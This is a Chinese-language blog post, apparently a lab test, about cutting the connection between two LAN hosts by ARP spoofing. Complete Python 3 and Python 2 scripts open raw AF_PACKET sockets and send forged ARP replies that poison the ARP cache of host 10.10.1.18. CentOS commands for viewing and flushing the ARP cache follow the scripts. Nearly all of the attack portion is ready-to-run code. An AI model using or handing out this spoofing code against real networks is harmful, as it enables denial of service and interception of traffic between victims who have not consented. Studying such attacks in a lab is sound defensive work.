基於python發送ARP欺騙消息

測試通過發送ARP欺騙數據包阻斷局域網兩臺機器的連接

利用linux下python的socket標準庫(socket.socket(socket.AF_PACKET, socket.SOCK_RAW)),發送自定義數據包到目標機器完成欺騙測試嘗試,主要代碼參考如下。

發送arp欺騙包

發送arp欺騙包

攻擊成功後,18與19之前通信中斷

攻擊成功後,18與19之前通信中斷

18主機上ARP變更情況

18主機上ARP變更情況

python3發送arp欺騙

# -*- coding: utf-8 -*-  
## root@linux python3
import socket

def send_arp_is_at():
    s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
    ### 數據包出口網卡
    s.bind(("ens37", 0))
    ## 虛假IP
    #src_ip_addr = b"\x0a\x0a\x01\x13"
    src_ip_addr = ip2bin_ip("10.10.1.19")
    ##  虛假MAC地址(使目標虛假IP與被欺騙主機IP通信中斷)
    #dst_mac_addr = b"\x00\x0c\x29\x05\x11\x00"
    dst_mac_addr = mac2bin_mac("00:0c:29:05:11:00")
	
    ## 即將被欺騙的主機的IP
    dst_ip_addr = ip2bin_ip("10.10.1.18")
    ##  即將被欺騙方的MAC地址
    src_mac_addr = mac2bin_mac("00:0c:29:05:6c:36")
    ## arp 迴應
    arp_opcode = b"\x00\x02"
    s.send(src_mac_addr+dst_mac_addr+b"\x08\x06\x00\x01\x08\x00\x06\x04"+arp_opcode+dst_mac_addr+src_ip_addr+src_mac_addr+dst_ip_addr+b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
    print('send send_arp_is_at')

# transfer ip to bin_ip
def ip2bin_ip(ip):
    ip_list=ip.split('.')
    result_arr = b"";
    for i in range(4):  #0,1,2,3
        tnum = int(ip_list[i])
        bnum = tnum.to_bytes(1, byteorder = 'big', signed = False)
        result_arr = result_arr + bnum
    return result_arr

# transfer mac to bin_mac
def mac2bin_mac(mac):
    mac_list=mac.split(':')
    result_arr = b"";
    for i in range(6):  #0,1,2,3,4,5
        hexnum = mac_list[i]
        result_arr = result_arr + bytearray.fromhex(hexnum)
    return result_arr

if __name__ == '__main__':
    ## 發送欺騙包(使用root賬戶)
    send_arp_is_at()
    print("done"); 


python2發送arp欺騙


# -*- coding: utf-8 -*-  

## root@linux python2
import socket
import binascii


## ens37
##  10.10.1.19     \x0a\x0a\x01\x13 00:50:56:3a:11:09
##  10.10.1.18 \x0a\x0a\x01\x12  00:0c:29:05:6c:36        

def send_arp_is_at():
    s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
    ### 數據包出口網卡
    s.bind(("ens37", 0))
    ## 虛假IP
    src_ip_addr = ip2bin_ip("10.10.1.19")
    ##  虛假MAC地址(使虛假IP與被欺騙主機IP通信中斷)
    dst_mac_addr = mac2bin_mac("00:0c:29:05:11:00")
    #src_ip_addr = "\x0a\x0a\x01\x13"
    #dst_mac_addr = "\x00\x0c\x29\x05\x11\x00"
    ## 即將被欺騙的主機的IP
    dst_ip_addr = ip2bin_ip("10.10.1.18")
    ##  即將被欺騙方的MAC地址
    src_mac_addr = mac2bin_mac("00:0c:29:05:6c:36")
    ## arp 迴應
    arp_opcode = "\x00\x02"
    s.send(src_mac_addr+dst_mac_addr+"\x08\x06\x00\x01\x08\x00\x06\x04"+arp_opcode+dst_mac_addr+src_ip_addr+src_mac_addr+dst_ip_addr+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
    print('send send_arp_is_at')

## "00:0c:29:05:6c:36" to  str "\x00\x0c\x29\x05\x6c\x36"
def mac2bin_mac(mac):
    hexmac = mac.replace(':', "")
    return binascii.a2b_hex(hexmac)

## 10.10.1.18 to str "\x0a\x0a\x01\x12"
def ip2bin_ip(ip):

    ipns = ip.split('.')
    result_arr = "";
    for i in range(4):  #0,1,2,3
        tnum = int(ipns[i])
        bnum = hex(tnum)
        if(len(bnum)==3):
            bnum = "0x0" + bnum[2]
        result_arr = result_arr + bnum
    result_arr = result_arr.replace("0x","")
    return binascii.a2b_hex(result_arr)

if __name__ == '__main__':
    ## 發送欺騙包(使用root賬戶)
    send_arp_is_at()
    print("done");

Centos7 ip命令參考

## 查看ARP列表
ip neighbor show
## 清除ens37網口全部的ARP緩存
ip neighbor flush  dev ens37
## 關閉ens37網口
ip l set ens37 down
## 啓用ens37網口
ip l set ens37 up

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章